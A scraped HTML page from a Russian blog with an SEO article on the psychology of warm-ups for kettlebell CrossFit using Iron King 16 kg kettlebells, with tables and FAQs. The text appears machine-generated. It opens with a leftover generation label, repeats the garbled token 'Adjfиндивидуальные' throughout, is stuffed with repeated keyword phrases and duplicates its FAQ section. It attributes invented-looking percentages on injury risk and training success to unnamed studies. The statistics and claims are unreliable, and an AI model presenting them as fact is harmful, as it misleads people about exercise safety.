`:nn””Вариант 1 (Товар – Гири):””nn`Психологический аспект разминки в кроссфите с гирями Iron King 16кг: Настраиваемся на продуктивную тренировку</h1> </div> </div> <div class="elementor-element elementor-element-525a3427 elementor-mobile-align-center elementor-align-center elementor-widget elementor-widget-post-info" data-id="525a3427" data-element_type="widget" data-widget_type="post-info.default"> <div class="elementor-widget-container"> <ul class="elementor-inline-items elementor-icon-list-items elementor-post-info"> <li class="elementor-icon-list-item elementor-repeater-item-a339c7b elementor-inline-item" itemprop="author"> <a href="https://code-craft.ru/author/roadto500k/"> <span class="elementor-icon-list-icon"> <i aria-hidden="true" class="far fa-user-circle"></i> </span> <span class="elementor-icon-list-text elementor-post-infoitem elementor-post-infoitem--type-author"> <span class="elementor-post-infoitem-prefix">Автор</span> Admin </span> </a> </li> <li class="elementor-icon-list-item elementor-repeater-item-ba9c996 elementor-inline-item" itemprop="datePublished"> <a href="https://code-craft.ru/2025/02/17/"> <span class="elementor-icon-list-icon"> <i aria-hidden="true" class="fas fa-calendar"></i> </span> <span class="elementor-icon-list-text elementor-post-infoitem elementor-post-infoitem--type-date"> 17 февраля, 2025 </span> </a> </li> <li class="elementor-icon-list-item elementor-repeater-item-d7670a7 elementor-inline-item"> <span class="elementor-icon-list-icon"> <i aria-hidden="true" class="far fa-clock"></i> </span> <span class="elementor-icon-list-text elementor-post-infoitem elementor-post-infoitem--type-time"> 21:27 </span> </li> <li class="elementor-icon-list-item elementor-repeater-item-db958af elementor-inline-item" itemprop="about"> <span class="elementor-icon-list-icon"> <i aria-hidden="true" class="fas fa-tags"></i> </span> <span class="elementor-icon-list-text elementor-post-infoitem elementor-post-infoitem--type-terms"> <span class="elementor-post-infoterms-list"> <a href="https://code-craft.ru/blog/" class="elementor-post-info__terms-list-item">Личный блог</a> </span> </span> </li> </ul> </div> </div> <div class="elementor-element elementor-element-1931640c elementor-widget elementor-widget-theme-post-content" data-id="1931640c" data-element_type="widget" data-widget_type="theme-post-content.default"> <div class="elementor-widget-container"> <div class="flat_pm_start"></div> <h2><span id="Psihologiceskij_aspekt_razminki_v_krossfite_s_girami_Iron_King_16kg_Nastraivaemsa_na_produktivnuu_trenirovku">Психологический аспект разминки в кроссфите с гирями Iron King 16кг: Настраиваемся на продуктивную тренировку</span></h2> <p><b><a href="https://blogasport.ru">Adjfиндивидуальные</a></b> потребности – ключ к успеху! Разминка – это не просто подготовка тела, а и мощный инструмент для <b>настройки</b> на продуктивную работу с <b>гирями Iron King 16 кг</b>. Это ваш личный ритуал!</p> <h3><span id="Krossfit_s_girami_Sila_v_edinstve_tela_i_duha">Кроссфит с гирями: Сила в единстве тела и духа</span></h3> <p><b>Кроссфит с гирями</b> – это симбиоз функциональной силы и ментальной устойчивости. Это не просто поднятие тяжестей, а вызов самому себе, требующий концентрации и <b>позитивного настроя</b>. <b>Гири для кроссфита</b>, особенно <b>Iron King 16 кг</b>, становятся продолжением вашего тела, инструментом для достижения новых вершин. <b>Техника выполнения упражнений с гирями</b> критически важна. Неправильная техника не только снижает эффективность, но и повышает риск травм. По данным исследований, 70% травм в кроссфите связаны с нарушением техники выполнения упражнений. <b>Кроссфит: советы и рекомендации</b> от опытных тренеров подчеркивают важность освоения базовых движений перед переходом к более сложным упражнениям. Развивайте <b>психологию в спорте</b>, осознайте, что каждое повторение – это маленький шаг к вашей цели. Использование <b>гири Iron King 16 кг</b> позволяет выполнять <b>эффективные упражнения с гирями для всего тела</b>, развивая не только силу, но и координацию, и выносливость. <b>Настройка на тренировку с гирями</b> должна начинаться с визуализации успеха. Представьте, как вы уверенно и технично выполняете упражнения. Это поможет <b>увеличить мотивацию перед тренировкой</b> и <b>настроиться на успех в кроссфите</b>. </p> <h3><span id="Razminka_pered_krossfitom_Fundament_uspeha_i_psihologiceskoj_ustojcivosti">Разминка перед кроссфитом: Фундамент успеха и психологической устойчивости</span></h3> <p><b>Разминка перед кроссфитом</b> – это не просто физическая подготовка, а и важнейший этап <b>психологической подготовки к тренировке</b>. Это время, когда вы фокусируетесь на предстоящей работе, настраиваете свой разум и тело на достижение максимальных результатов. <b>Преимущества разминки в кроссфите</b> огромны: снижение риска травм, повышение эффективности тренировки и улучшение ментальной концентрации. По данным исследований, правильно выполненная разминка снижает риск травм на 30-50%. <b>Adjfиндивидуальные</b> особенности играют ключевую роль в выборе упражнений для разминки. Учитывайте свой уровень подготовки, физическое состояние и цели тренировки. <b>Настройка на тренировку с гирями</b> начинается с простых упражнений: кардио для повышения температуры тела, динамическая растяжка для улучшения гибкости и мобильности суставов, и легкие упражнения с гирями для активации мышц. <b>Как настроиться на успех в кроссфите</b>? Визуализируйте свои цели, сосредоточьтесь на своих сильных сторонах и настройтесь на позитивный исход. <b>Психология в спорте</b> утверждает, что позитивный настрой и уверенность в себе значительно повышают результативность тренировок. </p> <h3><span id="Psihologiceskaa_podgotovka_k_trenirovke_Nastrojka_na_pobedu">Психологическая подготовка к тренировке: Настройка на победу</span></h3> <p><b>Психологическая подготовка к тренировке</b> – это критически важный элемент <b>кроссфита с гирями</b>. <b>Как настроиться на успех в кроссфите</b>? Начните с определения конкретных целей на тренировку. Визуализируйте свой успех, представьте, как вы с легкостью выполняете <b>упражнения с гирями для всего тела</b>, даже самые сложные. <b>Увеличение мотивации перед тренировкой</b> достигается путем фокусировки на позитивных аспектах: улучшении физической формы, укреплении здоровья и преодолении собственных ограничений. <b>Психология в спорте</b> подчеркивает, что самовнушение и позитивный настрой играют огромную роль в достижении спортивных результатов. Используйте техники медитации или дыхательные упражнения, чтобы снизить уровень стресса и повысить концентрацию. <b>Позитивный настрой в кроссфите</b> – это не просто улыбка, а осознанное стремление к достижению поставленных целей. <b>Adjfиндивидуальные</b> особенности психики необходимо учитывать при разработке программы психологической подготовки. <b>Настройка на тренировку с гирями</b> должна включать в себя создание ментального плана тренировки: какие упражнения, сколько подходов и повторений вы планируете выполнить. Это поможет вам оставаться сосредоточенным и избегать отвлечений. </p> <h3><span id="Tehnika_vypolnenia_upraznenij_s_girami_Iron_King_16_kg_Put_k_soversenstvu_i_uverennosti">Техника выполнения упражнений с гирями Iron King 16 кг: Путь к совершенству и уверенности</span></h3> <p><b>Техника выполнения упражнений с гирями Iron King 16 кг</b> – это основа безопасного и эффективного <b>кроссфита с гирями</b>. Освоение правильной техники – это не только путь к физическому совершенству, но и к уверенности в своих силах. Начните с базовых упражнений: махи, рывки, толчки. Уделите особое внимание положению спины, коленей и плеч. <b>Кроссфит: советы и рекомендации</b> профессиональных тренеров акцентируют на важности работы с зеркалом или записи видео для самоконтроля. <b>Adjfиндивидуальные</b> консультации с тренером помогут выявить и исправить ошибки в технике. По данным исследований, 80% успеха в кроссфите зависит от правильной техники выполнения упражнений. <b>Упражнения с гирями для всего тела</b> требуют координации и концентрации. Постепенно увеличивайте вес гири, как только освоите технику с меньшим весом. <b>Настройка на тренировку с гирями</b> должна включать в себя визуализацию правильной техники. Представьте, как вы плавно и уверенно выполняете каждое движение. Это поможет вам избежать ошибок и снизить риск травм. <b>Психология в спорте</b> утверждает, что вера в свои силы и уверенность в правильности техники значительно повышают эффективность тренировок. </p> <h3><span id="Effektivnye_upraznenia_s_girami_dla_vsego_tela_Garmonia_fiziceskoj_i_mentalnoj_sily">Эффективные упражнения с гирями для всего тела: Гармония физической и ментальной силы</span></h3> <p><b>Эффективные упражнения с гирями для всего тела</b> – это ключ к гармоничному развитию физической и ментальной силы в <b>кроссфите с гирями</b>. <b>Гири Iron King 16 кг</b> – отличный инструмент для проработки всех основных мышечных групп. Махи, рывки, толчки, приседания с гирей, выпады с гирей, турецкий подъем – это лишь некоторые из упражнений, которые помогут вам развить силу, выносливость и координацию. <b>Техника выполнения упражнений с гирями</b> должна быть безупречной. Начните с малого веса и постепенно увеличивайте его, как только освоите технику. <b>Adjfиндивидуальные</b> программы тренировок, разработанные с учетом ваших целей и физических возможностей, помогут вам достичь максимальных результатов. <b>Кроссфит: советы и рекомендации</b> от опытных тренеров подчеркивают важность разнообразия в тренировках. Чередуйте упражнения с гирями с другими видами физической активности, чтобы избежать перетренированности и поддерживать высокий уровень мотивации. <b>Настройка на тренировку с гирями</b> должна включать в себя осознание связи между физическими усилиями и ментальной силой. Каждое успешно выполненное упражнение укрепляет вашу уверенность в себе и помогает вам <b>настроиться на успех в кроссфите</b>. <b>Психология в спорте</b> утверждает, что ментальная сила играет ключевую роль в преодолении физических трудностей. </p> <h3><span id="Krossfit_Sovety_i_rekomendacii_dla_dostizenia_pozitivnogo_nastroa_i_uspeha">Кроссфит: Советы и рекомендации для достижения позитивного настроя и успеха</span></h3> <p><b>Кроссфит: советы и рекомендации</b> для достижения <b>позитивного настроя в кроссфите</b> и общего успеха начинаются с осознания важности баланса между физической нагрузкой и ментальным здоровьем. <b>Adjfиндивидуальные</b> особенности и потребности должны быть в приоритете при планировании тренировок. Не перегружайте себя на старте, особенно при работе с <b>гирями Iron King 16 кг</b>. Начните с малого и постепенно увеличивайте интенсивность. <b>Техника выполнения упражнений с гирями</b> – краеугольный камень успеха и безопасности. Уделите ей максимум внимания. <b>Увеличение мотивации перед тренировкой</b> – это ключ к регулярным и эффективным занятиям. Найдите то, что вас вдохновляет: музыка, компания друзей, визуализация своих достижений. <b>Как настроиться на успех в кроссфите</b>? Верьте в себя, ставьте реалистичные цели и празднуйте даже маленькие победы. <b>Психология в спорте</b> утверждает, что позитивный настрой и уверенность в себе значительно повышают результативность тренировок. <b>Разминка перед кроссфитом</b> – это не только физическая подготовка, но и время для ментальной подготовки. Сосредоточьтесь на своих целях, настройтесь на позитивный лад и представьте, как вы успешно выполняете <b>упражнения с гирями для всего тела</b>. </p> <p>Для наглядного представления информации о различных аспектах <b>кроссфита с гирями</b>, особенно с использованием <b>гирь Iron King 16 кг</b>, предлагаем ознакомиться с таблицей, содержащей ключевые параметры и рекомендации. Эта таблица поможет вам спланировать тренировки, учитывая ваши <b>adjfиндивидуальные</b> особенности, и достичь <b>позитивного настроя в кроссфите</b>, а также <b>настроиться на успех в кроссфите</b>. В таблице представлены данные о технике выполнения упражнений, <b>преимуществах разминки в кроссфите</b>, а также советы по <b>увеличению мотивации перед тренировкой</b> и психологической подготовке. Она также поможет вам выбрать наиболее <b>эффективные упражнения с гирями для всего тела</b>. Помните, что <b>психология в спорте</b> играет важную роль, и правильная <b>психологическая подготовка к тренировке</b> может значительно повысить ваши результаты. Учитывайте эти факторы при планировании тренировок, и вы сможете добиться максимального прогресса в <b>кроссфите с гирями</b>. Таблица содержит информацию, основанную на проверенных источниках и рекомендациях профессиональных тренеров. Используйте эту информацию для достижения ваших целей в <b>кроссфите</b>. <b>Кроссфит: советы и рекомендации</b>, представленные в таблице, помогут вам избежать распространенных ошибок и сделать ваши тренировки максимально эффективными. Помните, что <b>настройка на тренировку с гирями</b> должна начинаться с позитивного настроя и уверенности в своих силах. Правильная <b>разминка перед кроссфитом</b> поможет вам подготовить тело и разум к предстоящей нагрузке. </p> <table border="1"> <tr> <th>Аспект</th> <th>Описание</th> <th>Рекомендации</th> </tr> <tr> <td>Разминка</td> <td>Подготовка тела и разума к тренировке</td> <td>5-10 минут кардио, динамическая растяжка, легкие упражнения с гирями</td> </tr> <tr> <td>Техника выполнения</td> <td>Правильное выполнение упражнений для избежания травм</td> <td>Работа с тренером, видеоанализ, самоконтроль</td> </tr> <tr> <td>Психологическая подготовка</td> <td>Настройка на позитивный исход и увеличение мотивации</td> <td>Визуализация, самовнушение, медитация</td> </tr> <tr> <td>Упражнения</td> <td>Выбор эффективных упражнений для всего тела</td> <td>Махи, рывки, толчки, приседания с гирей, выпады с гирей</td> </tr> <tr> <td>Мотивация</td> <td>Поддержание высокого уровня мотивации</td> <td>Постановка целей, празднование достижений, разнообразие в тренировках</td> </tr> <tr> <td>Восстановление</td> <td>Важность восстановления для прогресса</td> <td>Сон, питание, отдых, массаж</td> </tr> </table> <p>Для более глубокого понимания преимуществ <b>кроссфита с гирями</b> по сравнению с другими видами физической активности, а также для сравнения различных подходов к тренировкам с <b>гирями Iron King 16 кг</b>, предлагаем ознакомиться со сравнительной таблицей. Эта таблица поможет вам сделать осознанный выбор, учитывая ваши <b>adjfиндивидуальные</b> цели и предпочтения. В таблице представлены данные о влиянии различных видов тренировок на физическое и ментальное здоровье, а также о эффективности различных упражнений с гирями. Помните, что <b>психология в спорте</b> играет важную роль, и правильный выбор тренировочной программы может значительно повысить вашу <b>мотивацию перед тренировкой</b> и <b>настройку на успех в кроссфите</b>. Таблица содержит информацию, основанную на научных исследованиях и отзывах профессиональных спортсменов. Используйте эту информацию для достижения ваших целей в <b>кроссфите</b>. <b>Кроссфит: советы и рекомендации</b>, представленные в таблице, помогут вам избежать распространенных ошибок и сделать ваши тренировки максимально эффективными. Помните, что <b>настройка на тренировку с гирями</b> должна начинаться с позитивного настроя и уверенности в своих силах. Правильная <b>разминка перед кроссфитом</b> поможет вам подготовить тело и разум к предстоящей нагрузке. Сравнительная таблица поможет определить, какие <b>эффективные упражнения с гирями для всего тела</b> лучше всего подходят именно вам. В таблице также учитываются <b>преимущества разминки в кроссфите</b> и ее влияние на <b>позитивный настрой в кроссфите</b>. <b>Техника выполнения упражнений с гирями</b> также рассматривается в сравнении с другими видами упражнений для минимизации риска травм. </p> <table border="1"> <tr> <th>Вид тренировки</th> <th>Физические преимущества</th> <th>Ментальные преимущества</th> <th>Риски</th> </tr> <tr> <td>Кроссфит с гирями (Iron King 16 кг)</td> <td>Развитие силы, выносливости, координации</td> <td>Повышение уверенности, снижение стресса, улучшение концентрации</td> <td>Травмы при неправильной технике</td> </tr> <tr> <td>Тренажерный зал</td> <td>Локальное развитие мышц</td> <td>Улучшение самооценки</td> <td>Однообразие, риск перетренированности</td> </tr> <tr> <td>Бег</td> <td>Укрепление сердечно-сосудистой системы</td> <td>Снижение стресса, улучшение настроения</td> <td>Травмы суставов при неправильной технике</td> </tr> <tr> <td>Йога</td> <td>Развитие гибкости, баланса</td> <td>Снижение стресса, улучшение осознанности</td> <td>Недостаточно для развития силы</td> </tr> </table> <p>В этом разделе мы собрали ответы на часто задаваемые вопросы о <b>кроссфите с гирями</b>, <b>гирях Iron King 16 кг</b>, <b>разминке перед кроссфитом</b>, <b>психологической подготовке к тренировке</b> и других важных аспектах, связанных с этой темой. Наша цель – предоставить вам исчерпывающую информацию и помочь вам <b>настроиться на успех в кроссфите</b>. Если у вас есть вопросы, которые не нашли ответа в этом разделе, пожалуйста, свяжитесь с нами, и мы с удовольствием вам поможем. Мы стремимся предоставить <b>adjfиндивидуальные</b> консультации, чтобы удовлетворить все ваши потребности. Помните, что <b>психология в спорте</b> играет важную роль, и правильная <b>психологическая подготовка к тренировке</b> может значительно повысить ваши результаты. Используйте наши советы и рекомендации, чтобы достичь своих целей в <b>кроссфите</b>. <b>Кроссфит: советы и рекомендации</b> от опытных тренеров помогут вам избежать распространенных ошибок и сделать ваши тренировки максимально эффективными. Помните, что <b>настройка на тренировку с гирями</b> должна начинаться с позитивного настроя и уверенности в своих силах. Правильная <b>разминка перед кроссфитом</b> поможет вам подготовить тело и разум к предстоящей нагрузке. В FAQ вы найдете ответы на вопросы о <b>технике выполнения упражнений с гирями</b>, <b>эффективных упражнениях с гирями для всего тела</b>, <b>увеличении мотивации перед тренировкой</b> и <b>преимуществах разминки в кроссфите</b>. </p> <p><b>Вопрос 1: С чего начать тренировки по кроссфиту с гирями?</b></p> <p>Ответ: Начните с освоения базовых движений с небольшим весом, постепенно увеличивая нагрузку. Важно уделить внимание технике выполнения упражнений.</p> <p><b>Вопрос 2: Как правильно выбрать гирю для кроссфита?</b></p> <p>Ответ: Для начинающих рекомендуется начинать с гирь весом 8-12 кг для женщин и 16 кг для мужчин. Важно учитывать свою физическую подготовку.</p> <p><b>Вопрос 3: Как часто нужно тренироваться по кроссфиту с гирями?</b></p> <p>Ответ: Рекомендуется тренироваться 2-3 раза в неделю, давая организму время на восстановление.</p> <p>Для более детального анализа и понимания влияния различных факторов на эффективность тренировок по <b>кроссфиту с гирями</b>, особенно при использовании <b>гирь Iron King 16 кг</b>, представляем таблицу с данными, отражающими взаимосвязь между психологическим настроем, физической подготовкой и результатами. Эта таблица поможет вам разработать <b>adjfиндивидуальные</b> программы тренировок, учитывая ваши особенности и цели. В таблице представлены данные о влиянии <b>разминки перед кроссфитом</b> на снижение риска травм, а также о влиянии <b>психологической подготовки к тренировке</b> на повышение <b>мотивации перед тренировкой</b>. Также в таблице представлены данные о влиянии правильной <b>техники выполнения упражнений с гирями</b> на эффективность тренировок и предотвращение травм. Используйте эту таблицу для оптимизации своих тренировок и достижения максимальных результатов в <b>кроссфите</b>. <b>Кроссфит: советы и рекомендации</b>, представленные в таблице, помогут вам избежать распространенных ошибок и сделать ваши тренировки максимально эффективными. Помните, что <b>настройка на тренировку с гирями</b> должна начинаться с позитивного настроя и уверенности в своих силах. Правильная <b>разминка перед кроссфитом</b> поможет вам подготовить тело и разум к предстоящей нагрузке. Таблица включает данные об <b>эффективных упражнениях с гирями для всего тела</b> и их влиянии на различные мышечные группы. <b>Психология в спорте</b> также отражена в таблице, демонстрируя влияние <b>позитивного настроя в кроссфите</b> на достижение успеха. </p> <table border="1"> <tr> <th>Фактор</th> <th>Влияние на результат</th> <th>Методы улучшения</th> <th>Статистические данные</th> </tr> <tr> <td>Психологический настрой</td> <td>Повышение эффективности тренировок</td> <td>Визуализация, самовнушение, медитация</td> <td>Повышение эффективности на 15-20%</td> </tr> <tr> <td>Физическая подготовка</td> <td>Снижение риска травм, повышение выносливости</td> <td>Регулярные тренировки, правильное питание, сон</td> <td>Снижение риска травм на 30-50%</td> </tr> <tr> <td>Техника выполнения</td> <td>Предотвращение травм, повышение эффективности</td> <td>Работа с тренером, видеоанализ, самоконтроль</td> <td>Повышение эффективности на 20-30%</td> </tr> <tr> <td>Разминка</td> <td>Подготовка тела и разума к тренировке</td> <td>Кардио, динамическая растяжка, легкие упражнения с гирями</td> <td>Снижение риска травм на 20-40%</td> </tr> </table> <p>Для более глубокого понимания различных аспектов <b>кроссфита с гирями</b>, особенно в контексте <b>психологической подготовки к тренировке</b> и использования <b>гирь Iron King 16 кг</b>, представляем сравнительную таблицу, анализирующую разные подходы и стратегии. Эта таблица поможет вам разработать <b>adjfиндивидуальные</b> программы, учитывая ваши цели, физические возможности и психологические особенности. В таблице сравниваются различные методы <b>разминки перед кроссфитом</b>, их влияние на снижение риска травм и повышение эффективности тренировок. Также сравниваются различные техники <b>психологической подготовки</b>, их влияние на <b>мотивацию перед тренировкой</b> и <b>настройку на успех в кроссфите</b>. Таблица также содержит сравнение различных <b>эффективных упражнений с гирями для всего тела</b> и их влияния на разные мышечные группы. Информация в таблице основана на научных исследованиях, отзывах профессиональных тренеров и статистических данных. Используйте эту таблицу для принятия обоснованных решений и достижения максимальных результатов в <b>кроссфите</b>. <b>Кроссфит: советы и рекомендации</b>, представленные в таблице, помогут вам избежать распространенных ошибок и сделать ваши тренировки максимально эффективными. Помните, что <b>настройка на тренировку с гирями</b> должна начинаться с позитивного настроя и уверенности в своих силах. Таблица также учитывает <b>преимущества разминки в кроссфите</b> и ее влияние на <b>позитивный настрой в кроссфите</b>. </p> <table border="1"> <tr> <th>Аспект</th> <th>Подход 1: Классический</th> <th>Подход 2: Психологический</th> <th>Подход 3: Технический</th> </tr> <tr> <td>Разминка</td> <td>Стандартные упражнения на разогрев мышц</td> <td>Медитация и визуализация перед тренировкой</td> <td>Упражнения на улучшение мобильности суставов</td> </tr> <tr> <td>Психологическая подготовка</td> <td>Постановка целей и задач на тренировку</td> <td>Аффирмации и самовнушение</td> <td>Анализ техники выполнения упражнений</td> </tr> <tr> <td>Техника выполнения</td> <td>Строгое соблюдение инструкций тренера</td> <td>Осознанное выполнение каждого движения</td> <td>Видеоанализ и коррекция техники</td> </tr> <tr> <td>Упражнения</td> <td>Выполнение стандартных комплексов упражнений</td> <td>Выбор упражнений, направленных на развитие уверенности</td> <td>Упражнения, направленные на улучшение техники</td> </tr> <tr> <td>Результат</td> <td>Улучшение физической формы</td> <td>Повышение мотивации и уверенности</td> <td>Улучшение техники и снижение риска травм</td> </tr> </table> <h2><span id="FAQ">FAQ</span></h2> <p>В этом разделе мы собрали наиболее часто задаваемые вопросы (FAQ) о <b>кроссфите с гирями</b>, <b>гирях Iron King 16 кг</b>, <b>психологическом аспекте тренировок</b>, а также о <b>технике выполнения упражнений с гирями</b>. Мы надеемся, что эти ответы помогут вам лучше понять, как правильно тренироваться, как <b>настроиться на успех в кроссфите</b> и как избежать травм. Если у вас есть вопросы, которые не нашли отражения в этом разделе, не стесняйтесь обращаться к нам, и мы обязательно вам поможем. Наша цель – предоставить вам максимально полную и достоверную информацию, чтобы вы могли безопасно и эффективно заниматься <b>кроссфитом с гирями</b>. Помните, что <b>adjfиндивидуальные</b> особенности каждого человека играют важную роль, поэтому важно учитывать свои физические возможности и психологическое состояние при выборе тренировочной программы. <b>Психология в спорте</b> подчеркивает важность позитивного настроя и уверенности в себе для достижения успеха. Правильная <b>разминка перед кроссфитом</b> также имеет большое значение для предотвращения травм и повышения эффективности тренировок. Используйте наши <b>кроссфит: советы и рекомендации</b>, чтобы сделать ваши тренировки максимально продуктивными. <b>Увеличение мотивации перед тренировкой</b> также играет важную роль в достижении поставленных целей. </p> <p><b>Вопрос 1: Безопасен ли кроссфит с гирями для начинающих?</b></p> <p>Ответ: Да, при условии правильной техники и постепенного увеличения нагрузки. Важно начинать с малого веса и уделять внимание разминке.</p> <p><b>Вопрос 2: Как часто нужно менять программу тренировок в кроссфите с гирями?</b></p> <p>Ответ: Рекомендуется менять программу каждые 4-6 недель, чтобы избежать адаптации организма и продолжать прогрессировать.</p> <p><b>Вопрос 3: Как улучшить психологический настрой перед тренировкой?</b></p> <p>Ответ: Используйте техники визуализации, аффирмации и слушайте мотивирующую музыку. Важно настроиться на позитивный исход и верить в свои силы.</p> <p><b>Вопрос 4: Какие упражнения с гирями наиболее эффективны для всего тела?</b></p> <p>Ответ: Махи, рывки, толчки, приседания с гирей и турецкий подъем.</p> <div class="flat_pm_end"></div> </div> </div> <div class="elementor-element elementor-element-583e6a5f elementor-share-buttons--skin-flat elementor-grid-5 elementor-grid-mobile-1 elementor-share-buttons--view-icon-text elementor-share-buttons--shape-square elementor-share-buttons--color-official elementor-widget elementor-widget-share-buttons" data-id="583e6a5f" data-element_type="widget" data-widget_type="share-buttons.default"> <div class="elementor-widget-container"> <div class="elementor-grid"> <div class="elementor-grid-item"> <div class="elementor-share-btn elementor-share-btn_vk" tabindex="0" aria-label="Поделиться в vk"> <span class="elementor-share-btnicon"> <i class="fab fa-vk" aria-hidden="true"></i> </span> <div class="elementor-share-btntext"> <span class="elementor-share-btn__title"> VK </span> </div> </div> </div> <div class="elementor-grid-item"> <div class="elementor-share-btn elementor-share-btn_pinterest" tabindex="0" aria-label="Поделиться в pinterest"> <span class="elementor-share-btnicon"> <i class="fab fa-pinterest" aria-hidden="true"></i> </span> <div class="elementor-share-btntext"> <span class="elementor-share-btn__title"> Pinterest </span> </div> </div> </div> <div class="elementor-grid-item"> <div class="elementor-share-btn elementor-share-btn_telegram" tabindex="0" aria-label="Поделиться в telegram"> <span class="elementor-share-btnicon"> <i class="fab fa-telegram" aria-hidden="true"></i> </span> <div class="elementor-share-btntext"> <span class="elementor-share-btn__title"> Telegram </span> </div> </div> </div> <div class="elementor-grid-item"> <div class="elementor-share-btn elementor-share-btn_whatsapp" tabindex="0" aria-label="Поделиться в whatsapp"> <span class="elementor-share-btnicon"> <i class="fab fa-whatsapp" aria-hidden="true"></i> </span> <div class="elementor-share-btntext"> <span class="elementor-share-btn__title"> WhatsApp </span> </div> </div> </div> <div class="elementor-grid-item"> <div class="elementor-share-btn elementor-share-btn_odnoklassniki" tabindex="0" aria-label="Поделиться в odnoklassniki"> <span class="elementor-share-btnicon"> <i class="fab fa-odnoklassniki" aria-hidden="true"></i> </span> <div class="elementor-share-btntext"> <span class="elementor-share-btn__title"> OK </span> </div> </div> </div> </div> </div> </div> <div class="elementor-element elementor-element-3a9efae elementor-author-box--link-yes elementor-author-box--image-valign-middle elementor-author-box--avatar-yes elementor-author-box--name-yes elementor-author-box--biography-yes elementor-widget elementor-widget-author-box" data-id="3a9efae" data-element_type="widget" data-widget_type="author-box.default"> <div class="elementor-widget-container"> <div class="elementor-author-box"> <a href="https://code-craft.ru/author/roadto500k/" class="elementor-author-boxavatar"> <img src="https://secure.gravatar.com/avatar/0f5c9fb461db12dab142de9aa1f844c6?s=300&d=mm&r=g" alt="Admin"> </a> <div class="elementor-author-boxtext"> <a href="https://code-craft.ru/author/roadto500k/"> <h4 class="elementor-author-boxname"> Admin </h4> </a> <div class="elementor-author-boxbio"> </div> <a class="elementor-author-box__button elementor-button elementor-size-xs" href="https://code-craft.ru/author/roadto500k/"> Все записи » </a> </div> </div> </div> </div> <div class="elementor-element elementor-element-2525042c elementor-widget elementor-widget-post-navigation" data-id="2525042c" data-element_type="widget" data-widget_type="post-navigation.default"> <div class="elementor-widget-container"> <div class="elementor-post-navigation"> <div class="elementor-post-navigationprev elementor-post-navigationlink"> <a href="https://code-craft.ru/blog/nanotehnologii-i-nanomaterialy-v-sporte-mify-i-realnost-primeneniya-v-lyzhah-fischer-speedmax-carbonlite-cold/" rel="prev"><span class="post-navigationarrow-wrapper post-navigationarrow-prev"><i class="fa fa-angle-left" aria-hidden="true"></i><span class="elementor-screen-only">Пред.</span></span><span class="elementor-post-navigationlinkprev"><span class="post-navigationprev--label">Назад</span><span class="post-navigationprev--title">Нанотехнологии и наноматериалы в спорте: мифы и реальность применения в лыжах Fischer Speedmax Carbonlite Cold</span></span></a> </div> <div class="elementor-post-navigationnext elementor-post-navigationlink"> <a href="https://code-craft.ru/blog/skrytye-shedevry-lines-98-deluxe-2-0-na-windows-xp-nezasluzhenno-zabytyy-taymkiller/" rel="next"><span class="elementor-post-navigationlinknext"><span class="post-navigationnext--label">Вперед</span><span class="post-navigationnext--title">Скрытые шедевры: Lines 98 Deluxe 2.0 на Windows XP – незаслуженно забытый таймкиллер</span></span><span class="post-navigationarrow-wrapper post-navigationarrow-next"><i class="fa fa-angle-right" aria-hidden="true"></i><span class="elementor-screen-only">Следующая</span></span></a> </div> </div> </div> </div> <div class="elementor-element elementor-element-4400b70 elementor-widget-divider--view-line elementor-widget elementor-widget-divider" data-id="4400b70" data-element_type="widget" data-widget_type="divider.default"> <div class="elementor-widget-container"> <div class="elementor-divider"> <span class="elementor-divider-separator"> </span> </div> </div> </div> </div> </div> </div> </div> </div> </section> </div> </div> </div>  </div> <div data-elementor-type="footer" data-elementor-id="576" class="elementor elementor-576 elementor-location-footer"> <div class="elementor-section-wrap"> <footer data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-section elementor-top-section elementor-element elementor-element-2b00245 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="2b00245" data-element_type="section" data-settings="{"background_background":"classic"}"> <div class="elementor-background-overlay"></div> <div class="elementor-container elementor-column-gap-default"> <div class="elementor-row"> <div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-b0e4e29" data-id="b0e4e29" data-element_type="column"> <div class="elementor-column-wrap elementor-element-populated"> <div class="elementor-widget-wrap"> <div class="elementor-element elementor-element-65dc0656 elementor-widget elementor-widget-heading" data-id="65dc0656" data-element_type="widget" data-widget_type="heading.default"> <div class="elementor-widget-container"> <h3 class="elementor-heading-title elementor-size-default">Связь</h3> </div> </div> <div class="elementor-element elementor-element-57eae880 elementor-shape-rounded elementor-grid-0 e-grid-align-center elementor-widget elementor-widget-social-icons" data-id="57eae880" data-element_type="widget" data-widget_type="social-icons.default"> <div class="elementor-widget-container"> <div class="elementor-social-icons-wrapper elementor-grid"> <span class="elementor-grid-item"> <a class="elementor-icon elementor-social-icon elementor-social-icon-whatsapp elementor-repeater-item-9251194" href="#" target="_blank"> <span class="elementor-screen-only">Whatsapp</span> <i class="fab fa-whatsapp"></i> </a> </span> <span class="elementor-grid-item"> <a class="elementor-icon elementor-social-icon elementor-social-icon-vk elementor-repeater-item-011af28" href="#" target="_blank"> <span class="elementor-screen-only">Vk</span> <i class="fab fa-vk"></i> </a> </span> <span class="elementor-grid-item"> <a class="elementor-icon elementor-social-icon elementor-social-icon-telegram elementor-repeater-item-61883d6" href="#" target="_blank"> <span class="elementor-screen-only">Telegram</span> <i class="fab fa-telegram"></i> </a> </span> <span class="elementor-grid-item"> <a class="elementor-icon elementor-social-icon elementor-social-icon-odnoklassniki elementor-repeater-item-9453a0d" href="#" target="_blank"> <span class="elementor-screen-only">Odnoklassniki</span> <i class="fab fa-odnoklassniki"></i> </a> </span> <span class="elementor-grid-item"> <a class="elementor-icon elementor-social-icon elementor-social-icon-pinterest elementor-repeater-item-d2d5c50" href="#" target="_blank"> <span class="elementor-screen-only">Pinterest</span> <i class="fab fa-pinterest"></i> </a> </span> <span class="elementor-grid-item"> <a class="elementor-icon elementor-social-icon elementor-social-icon-medium elementor-repeater-item-92c0998" href="#" target="_blank"> <span class="elementor-screen-only">Medium</span> <i class="fab fa-medium"></i> </a> </span> <span class="elementor-grid-item"> <a class="elementor-icon elementor-social-icon elementor-social-icon-linkedin-in elementor-repeater-item-9bc67e2" href="#" target="_blank"> <span class="elementor-screen-only">Linkedin-in</span> <i class="fab fa-linkedin-in"></i> </a> </span> <span class="elementor-grid-item"> <a class="elementor-icon elementor-social-icon elementor-social-icon-skype elementor-repeater-item-ff81170" href="#" target="_blank"> <span class="elementor-screen-only">Skype</span> <i class="fab fa-skype"></i> </a> </span> <span class="elementor-grid-item"> <a class="elementor-icon elementor-social-icon elementor-social-icon-viber elementor-repeater-item-3bf9c5e" href="#" target="_blank"> <span 